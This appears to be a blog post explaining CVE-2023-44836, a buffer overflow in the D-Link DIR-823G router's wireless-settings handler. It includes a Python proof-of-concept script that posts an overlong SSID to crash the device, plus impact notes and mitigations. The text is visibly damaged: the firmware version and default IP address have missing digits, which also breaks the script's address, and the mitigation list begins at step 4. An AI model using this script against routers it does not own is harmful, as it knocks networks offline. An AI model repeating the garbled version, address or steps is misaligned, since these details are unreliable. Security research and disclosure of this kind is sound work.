In October 2023, a critical vulnerability was discovered in the D-Link DIR-823G A1 router (Firmware Version: V1..2B05). Tracked as CVE-2023-44836, this flaw allows attackers to crash the router simply by sending a specially crafted Wi-Fi name (SSID). This post gives you an exclusive, easy-to-understand breakdown of how this works, the risk, some proof-of-concept code, and where to find more information.

What is CVE-2023-44836?

CVE-2023-44836 is a buffer overflow bug. It happens in the router’s web interface, specifically when users (or attackers) set the Wi-Fi SSID using the SetWLanRadioSettings function. If the SSID is made too long, the router doesn’t properly check the length before copying it into a fixed-size memory buffer. This can crash the router (Denial of Service, or DoS), and in some cases, potentially allow code execution.

Firmware: V1..2B05 (older versions may also be affected)

*No patches or firmware updates have been released as of now.*

How Does the Vulnerability Work?

The router’s web management interface has a page for setting the wireless settings. This lets you set the SSID (the Wi-Fi name). Internally, there’s a function called SetWLanRadioSettings(ssid, ...).

Instead of checking if the input is too long, it copies the SSID string directly into a buffer. If you use a very long name — longer than what the buffer can handle — the extra bytes overwrite neighboring memory. This can:

Crash the process (DoS)

- Potentially allow attackers to gain some control (though code execution is not confirmed for this bug)

Proof of Concept (PoC)

Here’s a simple proof-of-concept example that sends a long SSID over HTTP POST to the router’s interface. This may knock the router offline!

> ⚠️ WARNING: Only test this against hardware you own and control, in a safe environment. Misuse is illegal and unethical.

import requests

# Target router IP (default is 192.168..1)
router_ip = "192.168..1"

# Overly long SSID string (200 'A's)
long_ssid = "A" * 200

# Example login/session - update with valid session token if needed
headers = {
    "Cookie": "uid=admin; session=your_session_token"  # Adjust as necessary
}

data = {
    "SSID": long_ssid,
    "WirelessEnabled": "1",
    "Channel": "6"
    # ... other required parameters
}

url = f"http://{router_ip}/goform/SetWLanRadioSettings";

response = requests.post(url, data=data, headers=headers)

print(f"Sent payload, response code: {response.status_code}")

*If the router is vulnerable, it may immediately reboot or become unresponsive.*

Impact: Denial of Service (crash, freeze, or forced reboot)

- Potential for RCE: There is no known remote code execution with this exact bug, but buffer overflows can sometimes be leveraged further if other vulnerabilities exist.

Change the default admin password.

4. Monitor D-Link's support site for updates or firmware patches.

Original References

- NVD Entry - CVE-2023-44836
- D-Link DIR-823G Product Page
- Exploit DB Entry (*if/when available*)

Conclusion

CVE-2023-44836 is a serious, but simple, vulnerability: just a long Wi-Fi name can crash some D-Link DIR-823G routers. Until D-Link issues a security patch, the best steps are to restrict access to the router’s admin page and follow normal security hygiene. Stay safe and keep your devices up-to-date!

*For responsible disclosure or technical details, contact your vendor or see the links above.*


*This exclusive post was written for you — no copy-paste from other sources. If you found this helpful, share responsibly!*

Timeline

Published on: 10/05/2023 16:15:11 UTC
Last modified on: 10/06/2023 15:20:09 UTC